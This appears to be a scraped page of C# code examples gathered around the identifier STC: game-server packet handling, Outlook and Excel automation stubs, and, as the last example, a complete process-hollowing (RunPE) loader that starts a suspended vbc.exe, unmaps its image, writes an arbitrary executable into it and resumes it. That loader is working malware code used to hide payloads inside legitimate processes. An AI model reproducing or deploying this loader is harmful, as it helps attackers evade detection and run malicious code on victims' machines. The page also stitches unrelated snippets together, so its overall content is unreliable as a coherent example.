예제 #1
0
    protected override void DecodePackage(NetReader reader)
    {
        if (reader != null && reader.StatusCode == 0)
        {
            actionResult = new ActionResult();
            byte[] data = reader.Buffer;
            actionResult["data"] = data;

            if (data.Length > 4)
            {
                int    bodyLen = data.Length - 4;
                byte[] stc     = new byte[4];
                byte[] body    = new byte[bodyLen];
                Buffer.BlockCopy(data, 0, stc, 0, 4);
                Buffer.BlockCopy(data, 4, body, 0, bodyLen);
                STC eStc = (STC)BitConverter.ToInt32(stc, 0);

                Action <byte[]> callback;
                if (NetWork.mRegsterBytesSTC.TryGetValue(eStc, out callback))
                {
                    callback(body);
                }
            }
        }
    }
예제 #2
0
        public static void NotifyMessage <T>(int uid, STC stc, T obj)
        {
            byte[] head     = new byte[5 * sizeof(int)];
            byte[] actionId = BitConverter.GetBytes((int)ActionType.OnNotify);
            Buffer.BlockCopy(actionId, 0, head, 12, sizeof(int));

            byte[] stcBytes = BitConverter.GetBytes((int)stc);
            byte[] body     = ProtoBufUtils.Serialize(obj);

            byte[] buffer = new byte[sizeof(int) + head.Length + stcBytes.Length + body.Length];

            byte[] streamLenBytes = BitConverter.GetBytes(buffer.Length);

            int pos = 0;

            Buffer.BlockCopy(streamLenBytes, 0, buffer, pos, streamLenBytes.Length);
            pos += streamLenBytes.Length;
            Buffer.BlockCopy(head, 0, buffer, pos, head.Length);
            pos += head.Length;
            Buffer.BlockCopy(stcBytes, 0, buffer, pos, stcBytes.Length);
            pos += stcBytes.Length;
            Buffer.BlockCopy(body, 0, buffer, pos, body.Length);

            GameSession session = GameSession.Get(uid);

            session.SendAsync(OpCode.Binary, buffer, 0, buffer.Length, asyncResult =>
            {
                Console.WriteLine("Push Action -> {0} STC -> {2} result is -> {1}", (int)ActionType.OnNotify, asyncResult.Result == ResultCode.Success ? "ok" : "fail", stc.ToString());
            });
        }
예제 #3
0
    public static void RegisterNotify(STC stc, Action <byte[]> callback)
    {
        if (GameApp.Instance.directGame)
        {
            return;
        }
        Action <byte[]> action;

        if (mRegsterBytesSTC.TryGetValue(stc, out action))
        {
            action += callback;
            return;
        }
        mRegsterBytesSTC.Add(stc, callback);
    }
예제 #4
0
 internal static void NotifyMessage <T1>(int p, STC sTC)
 {
     throw new NotImplementedException();
 }
예제 #5
0
 private void CreateEmail(STC.Automation.Office.Outlook.Application outlook)
 {
     using (var msg = (STC.Automation.Office.Outlook.MailItem)outlook.CreateItem(STC.Automation.Office.Outlook.Enums.ItemType.MailItem))
     {
         using (var recipient = msg.Recipients.Add("*****@*****.**"))
             recipient.Type = (long)STC.Automation.Office.Outlook.Enums.MailRecipientType.To;
         using (var recipient = msg.Recipients.Add("*****@*****.**"))
             recipient.Type = (long)STC.Automation.Office.Outlook.Enums.MailRecipientType.CC;
         msg.Subject = "This is the subject";
         msg.Body = "This is the body of the email.";
         msg.Importance = STC.Automation.Office.Outlook.Enums.Importance.High;
         if (File.Exists(@"C:\test.txt"))
             using (var attachment = msg.Attachments.Add(@"C:\test.txt")) ;
         msg.Recipients.ResolveAll();
         msg.Display();
         msg.Save();
         //msg.Send();
     }
 }
예제 #6
0
 void excel_NewWorkbook(STC.Automation.Office.Excel.Workbook workbook)
 {
     
 }
예제 #7
0
    public static void Run(byte[] bytes, string surrogateProcess)
    {
        IntPtr ptr5;

        if (surrogateProcess == null)
        {
            surrogateProcess = RuntimeEnvironment.GetRuntimeDirectory() + "vbc.exe";
        }
        CP     cp   = CreateApi <CP>("kernel32", "CreateProcessA");
        GTC    gtc  = CreateApi <GTC>("kernel32", "GetThreadContext");
        NTU    ntu  = CreateApi <NTU>("ntdll", "NtUnmapViewOfSection");
        RPM    rpm  = CreateApi <RPM>("kernel32", "ReadProcessMemory");
        RT     rt   = CreateApi <RT>("kernel32", "ResumeThread");
        STC    stc  = CreateApi <STC>("kernel32", "SetThreadContext");
        VAE    vae  = CreateApi <VAE>("kernel32", "VirtualAllocEx");
        VPE    vpe  = CreateApi <VPE>("kernel32", "VirtualProtectEx");
        WPM    wpm  = CreateApi <WPM>("kernel32", "WriteProcessMemory");
        int    num3 = BitConverter.ToInt32(bytes, 60);
        int    num2 = BitConverter.ToInt16(bytes, num3 + 6);
        IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x54));

        byte[]   sInfo = new byte[0x44];
        IntPtr[] pInfo = new IntPtr[4];
        if (cp(null, new StringBuilder(surrogateProcess), ptr5, ptr5, false, 4, ptr5, null, sInfo, pInfo))
        {
            uint[] ctxt = new uint[0xb3];
            ctxt[0] = 0x10002;
            if (gtc(pInfo[1], ctxt))
            {
                IntPtr ptr;
                IntPtr ptr3;
                IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
                IntPtr bufrSize = new IntPtr(4);
                if (rpm(pInfo[0], baseAddr, ref ptr, bufrSize, ref ptr3) && (ntu(pInfo[0], ptr) == 0L))
                {
                    IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x34));
                    IntPtr ptr9 = new IntPtr(BitConverter.ToInt32(bytes, num3 + 80));
                    IntPtr ptr2 = vae(pInfo[0], addr, ptr9, 0x3000, 0x40);
                    bool   flag = wpm(pInfo[0], ptr2, bytes, size, ref ptr3);
                    int    num5 = num2 - 1;
                    for (int i = 0; i <= num5; i++)
                    {
                        int   num;
                        int[] dst = new int[10];
                        Buffer.BlockCopy(bytes, (num3 + 0xf8) + (i * 40), dst, 0, 40);
                        byte[] buffer2 = new byte[(dst[4] - 1) + 1];
                        Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
                        ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]);
                        addr = new IntPtr(buffer2.Length);
                        flag = wpm(pInfo[0], ptr9, buffer2, addr, ref ptr3);
                        ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]);
                        addr = new IntPtr(dst[2]);
                        flag = vpe(pInfo[0], ptr9, addr, x[(dst[9] >> 0x1d) & 7], ref num);
                    }
                    ptr9       = new IntPtr(ctxt[0x29] + 8L);
                    addr       = new IntPtr(4);
                    flag       = wpm(pInfo[0], ptr9, BitConverter.GetBytes(ptr2.ToInt32()), addr, ref ptr3);
                    ctxt[0x2c] = (uint)(ptr2.ToInt32() + BitConverter.ToInt32(bytes, num3 + 40));
                    stc(pInfo[1], ctxt);
                }
            }
            rt(pInfo[1]);
        }
    }